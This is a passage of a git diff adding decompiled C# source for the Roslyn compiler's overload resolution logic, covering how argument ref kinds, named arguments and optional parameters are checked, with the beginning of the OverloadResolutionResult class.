argumentRefKinds, bool isMethodGroupConversion, bool allowRefOmittedArguments, Binder binder, out bool hasAnyRefOmittedArgument) where TMember : Symbol + { + //IL_00be: Unknown result type (might be due to invalid IL or missing references) + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + //IL_00d1: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Unknown result type (might be due to invalid IL or missing references) + //IL_00f3: Unknown result type (might be due to invalid IL or missing references) + //IL_00db: Unknown result type (might be due to invalid IL or missing references) + //IL_00e9: Unknown result type (might be due to invalid IL or missing references) + hasAnyRefOmittedArgument = false; + ImmutableArray parameters = member.GetParameters(); + int num = member.GetParameterCount() + (member.GetIsVararg() ? 1 : 0); + if (argumentCount == num && argToParamMap.IsDefaultOrEmpty) + { + ImmutableArray parameterRefKinds = member.GetParameterRefKinds(); + if (parameterRefKinds.IsDefaultOrEmpty) + { + return new EffectiveParameters(member.GetParameterTypes(), parameterRefKinds); + } + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder val = null; + bool flag = argumentRefKinds.Any(); + for (int i = 0; i < argumentCount; i++) + { + int num2 = (argToParamMap.IsDefault ? i : argToParamMap[i]); + if (num2 >= parameters.Length) + { + continue; + } + ParameterSymbol parameterSymbol = parameters[num2]; + instance.Add(parameterSymbol.TypeWithAnnotations); + RefKind argRefKind = (RefKind)(flag ? ((int)argumentRefKinds[i]) : 0); + RefKind effectiveParameterRefKind = GetEffectiveParameterRefKind(parameterSymbol, argRefKind, isMethodGroupConversion, allowRefOmittedArguments, binder, ref hasAnyRefOmittedArgument); + if (val == null) + { + if ((int)effectiveParameterRefKind != 0) + { + val = ArrayBuilder.GetInstance(i, (RefKind)0); + val.Add(effectiveParameterRefKind); + } + } + else + { + val.Add(effectiveParameterRefKind); + } + } + ImmutableArray refKinds = val?.ToImmutableAndFree() ?? default(ImmutableArray); + return new EffectiveParameters(instance.ToImmutableAndFree(), refKinds); + } + + private static RefKind GetEffectiveParameterRefKind(ParameterSymbol parameter, RefKind argRefKind, bool isMethodGroupConversion, bool allowRefOmittedArguments, Binder binder, ref bool hasAnyRefOmittedArgument) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Invalid comparison between Unknown and I4 + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Invalid comparison between Unknown and I4 + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Invalid comparison between Unknown and I4 + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Invalid comparison between Unknown and I4 + RefKind refKind = parameter.RefKind; + if (!isMethodGroupConversion) + { + if ((int)refKind == 3) + { + if ((int)argRefKind == 0) + { + return (RefKind)0; + } + if ((int)argRefKind == 1 && binder.Compilation.IsFeatureEnabled(MessageID.IDS_FeatureRefReadonlyParameters)) + { + return (RefKind)1; + } + } + else + { + bool flag = (int)refKind == 4; + if (flag) + { + bool flag2 = (((int)argRefKind <= 1 || (int)argRefKind == 3) ? true : false); + flag = flag2; + } + if (flag) + { + return argRefKind; + } + } + } + else if (AreRefsCompatibleForMethodConversion(refKind, argRefKind, binder.Compilation)) + { + return argRefKind; + } + if (allowRefOmittedArguments && (int)refKind == 1 && (int)argRefKind == 0 && !binder.InAttributeArgument) + { + hasAnyRefOmittedArgument = true; + return (RefKind)0; + } + return refKind; + } + + internal static bool AreRefsCompatibleForMethodConversion(RefKind x, RefKind y, CSharpCompilation compilation) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Invalid comparison between Unknown and I4 + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Invalid comparison between Unknown and I4 + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Invalid comparison between Unknown and I4 + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Invalid comparison between Unknown and I4 + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Invalid comparison between Unknown and I4 + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Invalid comparison between Unknown and I4 + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Invalid comparison between Unknown and I4 + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Invalid comparison between Unknown and I4 + if (x == y) + { + return true; + } + if ((int)x == 4) + { + if ((int)y == 1 || (int)y == 3) + { + return true; + } + return false; + } + if ((int)y == 4) + { + if ((int)x == 1 || (int)x == 3) + { + return true; + } + return false; + } + if ((int)x != 1) + { + if ((int)x == 3 && (int)y == 1) + { + goto IL_0040; + } + } + else if ((int)y == 3) + { + goto IL_0040; + } + bool flag = false; + goto IL_0046; + IL_0040: + flag = true; + goto IL_0046; + IL_0046: + if (flag) + { + return compilation.IsFeatureEnabled(MessageID.IDS_FeatureRefReadonlyParameters); + } + return false; + } + + private EffectiveParameters GetEffectiveParametersInExpandedForm(TMember member, int argumentCount, ImmutableArray argToParamMap, ArrayBuilder argumentRefKinds, bool isMethodGroupConversion, bool allowRefOmittedArguments) where TMember : Symbol + { + bool hasAnyRefOmittedArgument; + return GetEffectiveParametersInExpandedForm(member, argumentCount, argToParamMap, argumentRefKinds, isMethodGroupConversion, allowRefOmittedArguments, _binder, out hasAnyRefOmittedArgument); + } + + private static EffectiveParameters GetEffectiveParametersInExpandedForm(TMember member, int argumentCount, ImmutableArray argToParamMap, ArrayBuilder argumentRefKinds, bool isMethodGroupConversion, bool allowRefOmittedArguments, Binder binder, out bool hasAnyRefOmittedArgument) where TMember : Symbol + { + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + bool flag = false; + ImmutableArray parameters = member.GetParameters(); + bool flag2 = argumentRefKinds.Any(); + hasAnyRefOmittedArgument = false; + for (int i = 0; i < argumentCount; i++) + { + int num = (argToParamMap.IsDefault ? i : argToParamMap[i]); + ParameterSymbol parameterSymbol = parameters[num]; + TypeWithAnnotations typeWithAnnotations = parameterSymbol.TypeWithAnnotations; + instance.Add((num == parameters.Length - 1) ? ((ArrayTypeSymbol)typeWithAnnotations.Type).ElementTypeWithAnnotations : typeWithAnnotations); + RefKind argRefKind = (RefKind)(flag2 ? ((int)argumentRefKinds[i]) : 0); + RefKind effectiveParameterRefKind = GetEffectiveParameterRefKind(parameterSymbol, argRefKind, isMethodGroupConversion, allowRefOmittedArguments, binder, ref hasAnyRefOmittedArgument); + instance2.Add(effectiveParameterRefKind); + if ((int)effectiveParameterRefKind != 0) + { + flag = true; + } + } + ImmutableArray refKinds = (flag ? instance2.ToImmutable() : default(ImmutableArray)); + instance2.Free(); + return new EffectiveParameters(instance.ToImmutableAndFree(), refKinds); + } + + private MemberResolutionResult IsMemberApplicableInNormalForm(TMember member, TMember leastOverriddenMember, ArrayBuilder typeArguments, AnalyzedArguments arguments, bool isMethodGroupConversion, bool allowRefOmittedArguments, bool inferWithDynamic, bool completeResults, ref CompoundUseSiteInfo useSiteInfo) where TMember : Symbol + { + ArgumentAnalysisResult argAnalysis = AnalyzeArguments(member, arguments, isMethodGroupConversion, expanded: false); + if (!argAnalysis.IsValid) + { + ArgumentAnalysisResultKind kind = argAnalysis.Kind; + if ((kind != ArgumentAnalysisResultKind.NoCorrespondingParameter && kind - 4 > ArgumentAnalysisResultKind.Expanded) || !completeResults) + { + return new MemberResolutionResult(member, leastOverriddenMember, MemberAnalysisResult.ArgumentParameterMismatch(argAnalysis), hasTypeArgumentInferredFromFunctionType: false); + } + } + if (member.HasUseSiteError) + { + return new MemberResolutionResult(member, leastOverriddenMember, MemberAnalysisResult.UseSiteError(), hasTypeArgumentInferredFromFunctionType: false); + } + bool hasAnyRefOmittedArgument; + EffectiveParameters effectiveParametersInNormalForm = GetEffectiveParametersInNormalForm(GetConstructedFrom(leastOverriddenMember), arguments.Arguments.Count, argAnalysis.ArgsToParamsOpt, arguments.RefKinds, isMethodGroupConversion, allowRefOmittedArguments, _binder, out hasAnyRefOmittedArgument); + EffectiveParameters effectiveParametersInNormalForm2 = GetEffectiveParametersInNormalForm(leastOverriddenMember, arguments.Arguments.Count, argAnalysis.ArgsToParamsOpt, arguments.RefKinds, isMethodGroupConversion, allowRefOmittedArguments); + MemberResolutionResult result = IsApplicable(member, leastOverriddenMember, typeArguments, arguments, effectiveParametersInNormalForm, effectiveParametersInNormalForm2, argAnalysis.ArgsToParamsOpt, hasAnyRefOmittedArgument, inferWithDynamic, completeResults, ref useSiteInfo); + if (completeResults && !argAnalysis.IsValid) + { + return new MemberResolutionResult(member, leastOverriddenMember, MemberAnalysisResult.ArgumentParameterMismatch(argAnalysis), hasTypeArgumentInferredFromFunctionType: false); + } + return result; + } + + private MemberResolutionResult IsMemberApplicableInExpandedForm(TMember member, TMember leastOverriddenMember, ArrayBuilder typeArguments, AnalyzedArguments arguments, bool allowRefOmittedArguments, bool completeResults, ref CompoundUseSiteInfo useSiteInfo) where TMember : Symbol + { + ArgumentAnalysisResult argAnalysis = AnalyzeArguments(member, arguments, isMethodGroupConversion: false, expanded: true); + if (!argAnalysis.IsValid) + { + return new MemberResolutionResult(member, leastOverriddenMember, MemberAnalysisResult.ArgumentParameterMismatch(argAnalysis), hasTypeArgumentInferredFromFunctionType: false); + } + if (member.HasUseSiteError) + { + return new MemberResolutionResult(member, leastOverriddenMember, MemberAnalysisResult.UseSiteError(), hasTypeArgumentInferredFromFunctionType: false); + } + bool hasAnyRefOmittedArgument; + EffectiveParameters effectiveParametersInExpandedForm = GetEffectiveParametersInExpandedForm(GetConstructedFrom(leastOverriddenMember), arguments.Arguments.Count, argAnalysis.ArgsToParamsOpt, arguments.RefKinds, isMethodGroupConversion: false, allowRefOmittedArguments, _binder, out hasAnyRefOmittedArgument); + EffectiveParameters effectiveParametersInExpandedForm2 = GetEffectiveParametersInExpandedForm(leastOverriddenMember, arguments.Arguments.Count, argAnalysis.ArgsToParamsOpt, arguments.RefKinds, isMethodGroupConversion: false, allowRefOmittedArguments); + MemberResolutionResult result = IsApplicable(member, leastOverriddenMember, typeArguments, arguments, effectiveParametersInExpandedForm, effectiveParametersInExpandedForm2, argAnalysis.ArgsToParamsOpt, hasAnyRefOmittedArgument, inferWithDynamic: false, completeResults, ref useSiteInfo); + if (!result.Result.IsValid) + { + return result; + } + return result.WithResult(MemberAnalysisResult.ExpandedForm(result.Result.ArgsToParamsOpt, result.Result.ConversionsOpt, hasAnyRefOmittedArgument)); + } + + private MemberResolutionResult IsApplicable(TMember member, TMember leastOverriddenMember, ArrayBuilder typeArgumentsBuilder, AnalyzedArguments arguments, EffectiveParameters originalEffectiveParameters, EffectiveParameters constructedEffectiveParameters, ImmutableArray argsToParamsMap, bool hasAnyRefOmittedArgument, bool inferWithDynamic, bool completeResults, ref CompoundUseSiteInfo useSiteInfo) where TMember : Symbol + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + bool hasTypeArgumentsInferredFromFunctionType = false; + MethodSymbol methodSymbol; + bool ignoreOpenTypes; + EffectiveParameters parameters; + if ((int)member.Kind == 9 && (methodSymbol = (MethodSymbol)(object)member).Arity > 0) + { + if (typeArgumentsBuilder.Count == 0 && arguments.HasDynamicArgument && !inferWithDynamic) + { + ignoreOpenTypes = true; + parameters = constructedEffectiveParameters; + } + else + { + MethodSymbol methodSymbol2 = (MethodSymbol)(object)leastOverriddenMember; + ImmutableArray immutableArray; + if (typeArgumentsBuilder.Count > 0) + { + immutableArray = typeArgumentsBuilder.ToImmutable(); + } + else + { + immutableArray = InferMethodTypeArguments(methodSymbol, methodSymbol2.ConstructedFrom.TypeParameters, arguments, originalEffectiveParameters, out hasTypeArgumentsInferredFromFunctionType, out var error, ref useSiteInfo); + if (immutableArray.IsDefault) + { + return new MemberResolutionResult(member, leastOverriddenMember, error, hasTypeArgumentInferredFromFunctionType: false); + } + } + member = (TMember)(Symbol)methodSymbol.Construct(immutableArray); + leastOverriddenMember = (TMember)(Symbol)methodSymbol2.ConstructedFrom.Construct(immutableArray); + ImmutableArray parameterTypes = leastOverriddenMember.GetParameterTypes(); + for (int i = 0; i < parameterTypes.Length; i++) + { + if (!parameterTypes[i].Type.CheckAllConstraints(Compilation, Conversions)) + { + return new MemberResolutionResult(member, leastOverriddenMember, MemberAnalysisResult.ConstructedParameterFailedConstraintsCheck(i), hasTypeArgumentsInferredFromFunctionType); + } + } + TypeMap typeMap = new TypeMap(methodSymbol.TypeParameters, immutableArray, allowAlpha: true); + parameters = new EffectiveParameters(typeMap.SubstituteTypes(constructedEffectiveParameters.ParameterTypes), constructedEffectiveParameters.ParameterRefKinds); + ignoreOpenTypes = false; + } + } + else + { + parameters = constructedEffectiveParameters; + ignoreOpenTypes = false; + } + MemberAnalysisResult result = IsApplicable(member, parameters, arguments, argsToParamsMap, member.GetIsVararg(), hasAnyRefOmittedArgument, ignoreOpenTypes, completeResults, ref useSiteInfo); + return new MemberResolutionResult(member, leastOverriddenMember, result, hasTypeArgumentsInferredFromFunctionType); + } + + private ImmutableArray InferMethodTypeArguments(MethodSymbol method, ImmutableArray originalTypeParameters, AnalyzedArguments arguments, EffectiveParameters originalEffectiveParameters, out bool hasTypeArgumentsInferredFromFunctionType, out MemberAnalysisResult error, ref CompoundUseSiteInfo useSiteInfo) + { + ImmutableArray arguments2 = arguments.Arguments.ToImmutable(); + MethodTypeInferenceResult methodTypeInferenceResult = MethodTypeInferrer.Infer(_binder, _binder.Conversions, originalTypeParameters, method.ContainingType, originalEffectiveParameters.ParameterTypes, originalEffectiveParameters.ParameterRefKinds, arguments2, ref useSiteInfo); + if (methodTypeInferenceResult.Success) + { + hasTypeArgumentsInferredFromFunctionType = methodTypeInferenceResult.HasTypeArgumentInferredFromFunctionType; + error = default(MemberAnalysisResult); + return methodTypeInferenceResult.InferredTypeArguments; + } + if (arguments.IsExtensionMethodInvocation && !MethodTypeInferrer.CanInferTypeArgumentsFromFirstArgument(_binder.Compilation, _binder.Conversions, method, arguments2, ref useSiteInfo, out var _)) + { + hasTypeArgumentsInferredFromFunctionType = false; + error = MemberAnalysisResult.TypeInferenceExtensionInstanceArgumentFailed(); + return default(ImmutableArray); + } + hasTypeArgumentsInferredFromFunctionType = false; + error = MemberAnalysisResult.TypeInferenceFailed(); + return default(ImmutableArray); + } + + private MemberAnalysisResult IsApplicable(Symbol candidate, EffectiveParameters parameters, AnalyzedArguments arguments, ImmutableArray argsToParameters, bool isVararg, bool hasAnyRefOmittedArgument, bool ignoreOpenTypes, bool completeResults, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + //IL_00bd: Unknown result type (might be due to invalid IL or missing references) + //IL_022a: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_00d0: Invalid comparison between Unknown and I4 + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_00d2: Unknown result type (might be due to invalid IL or missing references) + //IL_00d4: Unknown result type (might be due to invalid IL or missing references) + //IL_0148: Unknown result type (might be due to invalid IL or missing references) + //IL_0161: Unknown result type (might be due to invalid IL or missing references) + //IL_0104: Unknown result type (might be due to invalid IL or missing references) + //IL_0107: Invalid comparison between Unknown and I4 + //IL_0183: Unknown result type (might be due to invalid IL or missing references) + //IL_01ab: Unknown result type (might be due to invalid IL or missing references) + //IL_01b0: Unknown result type (might be due to invalid IL or missing references) + //IL_0140: Unknown result type (might be due to invalid IL or missing references) + //IL_0142: Unknown result type (might be due to invalid IL or missing references) + int num = parameters.ParameterTypes.Length + (isVararg ? 1 : 0); + if (arguments.Arguments.Count < num) + { + num = arguments.Arguments.Count; + } + ArrayBuilder val = null; + BitVector badArguments = default(BitVector); + for (int i = 0; i < num; i++) + { + BoundExpression boundExpression = arguments.Argument(i); + Conversion conversion; + if (isVararg && i == num - 1) + { + if (boundExpression.Kind == BoundKind.ArgListOperator) + { + conversion = Conversion.Identity; + } + else + { + if (((BitVector)(ref badArguments)).IsNull) + { + badArguments = BitVector.Create(i + 1); + } + ((BitVector)(ref badArguments))[i] = true; + conversion = Conversion.NoConversion; + } + } + else + { + RefKind argRefKind = arguments.RefKind(i); + RefKind val2 = (RefKind)((!parameters.ParameterRefKinds.IsDefault) ? ((int)parameters.ParameterRefKinds[i]) : 0); + bool flag = arguments.IsExtensionMethodThisArgument(i); + if (flag && (int)val2 == 1) + { + argRefKind = val2; + } + bool hasInterpolatedStringRefMismatch = false; + bool flag2 = ((boundExpression is BoundUnconvertedInterpolatedString || boundExpression is BoundBinaryOperator { IsUnconvertedInterpolatedStringAddition: not false }) ? true : false); + if (flag2 && (int)val2 == 1 && parameters.ParameterTypes[i].Type is NamedTypeSymbol { IsInterpolatedStringHandlerType: not false, IsValueType: not false }) + { + hasInterpolatedStringRefMismatch = true; + argRefKind = val2; + } + conversion = CheckArgumentForApplicability(candidate, boundExpression, argRefKind, parameters.ParameterTypes[i].Type, val2, ignoreOpenTypes, ref useSiteInfo, flag, hasInterpolatedStringRefMismatch); + if (flag && !ConversionsBase.IsValidExtensionMethodThisArgConversion(conversion)) + { + return MemberAnalysisResult.BadArgumentConversions(argsToParameters, MemberAnalysisResult.CreateBadArgumentsWithPosition(i), ImmutableArray.Create(conversion)); + } + if (!conversion.Exists) + { + if (((BitVector)(ref badArguments)).IsNull) + { + badArguments = BitVector.Create(i + 1); + } + ((BitVector)(ref badArguments))[i] = true; + } + } + if (val != null) + { + val.Add(conversion); + } + else if (!conversion.IsIdentity) + { + val = ArrayBuilder.GetInstance(num); + val.AddMany(Conversion.Identity, i); + val.Add(conversion); + } + if (!((BitVector)(ref badArguments)).IsNull && !completeResults) + { + break; + } + } + ImmutableArray conversions = val?.ToImmutableAndFree() ?? default(ImmutableArray); + if (!((BitVector)(ref badArguments)).IsNull) + { + return MemberAnalysisResult.BadArgumentConversions(argsToParameters, badArguments, conversions); + } + return MemberAnalysisResult.NormalForm(argsToParameters, conversions, hasAnyRefOmittedArgument); + } + + private Conversion CheckArgumentForApplicability(Symbol candidate, BoundExpression argument, RefKind argRefKind, TypeSymbol parameterType, RefKind parRefKind, bool ignoreOpenTypes, ref CompoundUseSiteInfo useSiteInfo, bool forExtensionMethodThisArg, bool hasInterpolatedStringRefMismatch) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Invalid comparison between Unknown and I4 + if (argRefKind != parRefKind && ((int)argRefKind != 0 || !argument.HasDynamicType())) + { + return Conversion.NoConversion; + } + if (ignoreOpenTypes && parameterType.ContainsTypeParameter((MethodSymbol)candidate)) + { + return Conversion.ImplicitDynamic; + } + TypeSymbol type = argument.Type; + if (argument.Kind == BoundKind.OutVariablePendingInference || argument.Kind == BoundKind.OutDeconstructVarPendingInference || (argument.Kind == BoundKind.DiscardExpression && (object)type == null)) + { + return Conversion.Identity; + } + if ((int)argRefKind == 0 || hasInterpolatedStringRefMismatch) + { + Conversion result = (forExtensionMethodThisArg ? Conversions.ClassifyImplicitExtensionMethodThisArgConversion(argument, argument.Type, parameterType, ref useSiteInfo) : Conversions.ClassifyImplicitConversionFromExpression(argument, parameterType, ref useSiteInfo)); + if (hasInterpolatedStringRefMismatch && !result.IsInterpolatedStringHandler) + { + return Conversion.NoConversion; + } + return result; + } + if ((object)type != null && ConversionsBase.HasIdentityConversion(type, parameterType)) + { + return Conversion.Identity; + } + return Conversion.NoConversion; + } + + private static TMember GetConstructedFrom(TMember member) where TMember : Symbol + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Invalid comparison between Unknown and I4 + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + SymbolKind kind = member.Kind; + if ((int)kind != 9) + { + if ((int)kind == 15) + { + return member; + } + throw ExceptionUtilities.UnexpectedValue((object)member.Kind); + } + return (TMember)(Symbol)(member as MethodSymbol).ConstructedFrom; + } + + private static ArgumentAnalysisResult AnalyzeArguments(Symbol symbol, AnalyzedArguments arguments, bool isMethodGroupConversion, bool expanded) + { + ImmutableArray parameters = symbol.GetParameters(); + bool isVararg = symbol.GetIsVararg(); + if (!expanded && arguments.Names.Count == 0) + { + return AnalyzeArgumentsForNormalFormNoNamedArguments(parameters, arguments, isMethodGroupConversion, isVararg); + } + int count = arguments.Arguments.Count; + int[] array = null; + int? num = null; + bool? flag = null; + bool seenNamedParams = false; + bool seenOutOfPositionNamedArgument = false; + bool isValidParams = IsValidParams(symbol); + for (int i = 0; i < count; i++) + { + bool isNamedArgument; + int num2 = CorrespondsToAnyParameter(parameters, expanded, arguments, i, isValidParams, isVararg, out isNamedArgument, ref seenNamedParams, ref seenOutOfPositionNamedArgument) ?? (-1); + if (num2 == -1 && !num.HasValue) + { + num = i; + flag = isNamedArgument; + } + if (num2 != i && array == null) + { + array = new int[count]; + for (int j = 0; j < i; j++) + { + array[j] = j; + } + } + if (array != null) + { + array[i] = num2; + } + } + ParameterMap argsToParameters = new ParameterMap(array, count); + int? num3 = CheckForBadNonTrailingNamedArgument(arguments, argsToParameters); + if (num3.HasValue) + { + return ArgumentAnalysisResult.BadNonTrailingNamedArgument(num3.Value); + } + if (num.HasValue) + { + if (flag.Value) + { + return ArgumentAnalysisResult.NoCorrespondingNamedParameter(num.Value); + } + return ArgumentAnalysisResult.NoCorrespondingParameter(num.Value); + } + int? num4 = NameUsedForPositional(arguments, argsToParameters); + if (num4.HasValue) + { + return ArgumentAnalysisResult.NameUsedForPositional(num4.Value); + } + int? num5 = CheckForMissingRequiredParameter(argsToParameters, parameters, isMethodGroupConversion, expanded); + if (num5.HasValue) + { + return ArgumentAnalysisResult.RequiredParameterMissing(num5.Value); + } + if (arguments.Names.Any() && arguments.Names.Last().HasValue && isVararg) + { + return ArgumentAnalysisResult.RequiredParameterMissing(parameters.Length); + } + int? num6 = CheckForDuplicateNamedArgument(arguments); + if (num6.HasValue) + { + return ArgumentAnalysisResult.DuplicateNamedArgument(num6.Value); + } + if (!expanded) + { + return ArgumentAnalysisResult.NormalForm(argsToParameters.ToImmutableArray()); + } + return ArgumentAnalysisResult.ExpandedForm(argsToParameters.ToImmutableArray()); + } + + private static int? CheckForBadNonTrailingNamedArgument(AnalyzedArguments arguments, ParameterMap argsToParameters) + { + if (argsToParameters.IsTrivial) + { + return null; + } + int num = -1; + int count = arguments.Arguments.Count; + for (int i = 0; i < count; i++) + { + int num2 = argsToParameters[i]; + if (num2 != -1 && num2 != i && arguments.Name(i) != null) + { + num = i; + break; + } + } + if (num != -1) + { + for (int j = num + 1; j < count; j++) + { + if (arguments.Name(j) == null) + { + return num; + } + } + } + return null; + } + + private static int? CorrespondsToAnyParameter(ImmutableArray memberParameters, bool expanded, AnalyzedArguments arguments, int argumentPosition, bool isValidParams, bool isVararg, out bool isNamedArgument, ref bool seenNamedParams, ref bool seenOutOfPositionNamedArgument) + { + isNamedArgument = arguments.Names.Count > argumentPosition && arguments.Names[argumentPosition].HasValue; + if (!isNamedArgument) + { + if (seenNamedParams) + { + return null; + } + if (seenOutOfPositionNamedArgument) + { + return null; + } + int num = memberParameters.Length + (isVararg ? 1 : 0); + if (argumentPosition >= num) + { + if (!expanded) + { + return null; + } + return num - 1; + } + return argumentPosition; + } + string item = arguments.Names[argumentPosition].GetValueOrDefault().Item1; + for (int i = 0; i < memberParameters.Length; i++) + { + if (memberParameters[i].Name == item) + { + if (isValidParams && i == memberParameters.Length - 1) + { + seenNamedParams = true; + } + if (i != argumentPosition) + { + seenOutOfPositionNamedArgument = true; + } + return i; + } + } + return null; + } + + private static ArgumentAnalysisResult AnalyzeArgumentsForNormalFormNoNamedArguments(ImmutableArray parameters, AnalyzedArguments arguments, bool isMethodGroupConversion, bool isVararg) + { + int num = parameters.Length + (isVararg ? 1 : 0); + int count = arguments.Arguments.Count; + if (count < num) + { + for (int i = count; i < num; i++) + { + if (parameters.Length == i || !CanBeOptional(parameters[i], isMethodGroupConversion)) + { + return ArgumentAnalysisResult.RequiredParameterMissing(i); + } + } + } + else if (num < count) + { + return ArgumentAnalysisResult.NoCorrespondingParameter(num); + } + return ArgumentAnalysisResult.NormalForm(default(ImmutableArray)); + } + + private static bool CanBeOptional(ParameterSymbol parameter, bool isMethodGroupConversion) + { + if (!isMethodGroupConversion) + { + return parameter.IsOptional; + } + return false; + } + + private static int? NameUsedForPositional(AnalyzedArguments arguments, ParameterMap argsToParameters) + { + if (argsToParameters.IsTrivial) + { + return null; + } + for (int i = 0; i < argsToParameters.Length; i++) + { + if (arguments.Name(i) == null) + { + continue; + } + for (int j = 0; j < i; j++) + { + if (arguments.Name(j) == null && argsToParameters[i] == argsToParameters[j]) + { + return i; + } + } + } + return null; + } + + private static int? CheckForMissingRequiredParameter(ParameterMap argsToParameters, ImmutableArray parameters, bool isMethodGroupConversion, bool expanded) + { + int num = (expanded ? (parameters.Length - 1) : parameters.Length); + if (argsToParameters.IsTrivial && num <= argsToParameters.Length) + { + return null; + } + for (int i = 0; i < num; i++) + { + if (CanBeOptional(parameters[i], isMethodGroupConversion)) + { + continue; + } + bool flag = false; + for (int j = 0; j < argsToParameters.Length; j++) + { + flag = argsToParameters[j] == i; + if (flag) + { + break; + } + } + if (!flag) + { + return i; + } + } + return null; + } + + private static int? CheckForDuplicateNamedArgument(AnalyzedArguments arguments) + { + if (EnumerableExtensions.IsEmpty<(string, Location)?>((IReadOnlyCollection<(string, Location)?>)arguments.Names)) + { + return null; + } + PooledHashSet instance = PooledHashSet.GetInstance(); + for (int i = 0; i < arguments.Names.Count; i++) + { + string text = arguments.Name(i); + if (text != null && !((HashSet)(object)instance).Add(text)) + { + instance.Free(); + return i; + } + } + instance.Free(); + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/OverloadResolutionResult.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/OverloadResolutionResult.cs new file mode 100644 index 0000000..bbe627e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/OverloadResolutionResult.cs @@ -0,0 +1,884 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class OverloadResolutionResult where TMember : Symbol +{ + private MemberResolutionResult _bestResult; + + private ThreeState _bestResultState; + + internal readonly ArrayBuilder> ResultsBuilder; + + private static readonly ObjectPool> s_pool = CreatePool(); + + public bool Succeeded + { + get + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + EnsureBestResultLoaded(); + if ((int)_bestResultState == 2) + { + return _bestResult.Result.IsValid; + } + return false; + } + } + + public MemberResolutionResult ValidResult + { + get + { + EnsureBestResultLoaded(); + return _bestResult; + } + } + + public MemberResolutionResult BestResult + { + get + { + EnsureBestResultLoaded(); + return _bestResult; + } + } + + public ImmutableArray> Results => ((ArrayBuilder>>)(object)ResultsBuilder).ToImmutable(); + + internal unsafe bool HasAnyApplicableMember + { + get + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + Enumerator> enumerator = ((ArrayBuilder>>)(object)ResultsBuilder).GetEnumerator(); + while (((Enumerator>>*)(&enumerator))->MoveNext()) + { + if (((Enumerator>>*)(&enumerator))->Current.Result.IsApplicable) + { + return true; + } + } + return false; + } + } + + 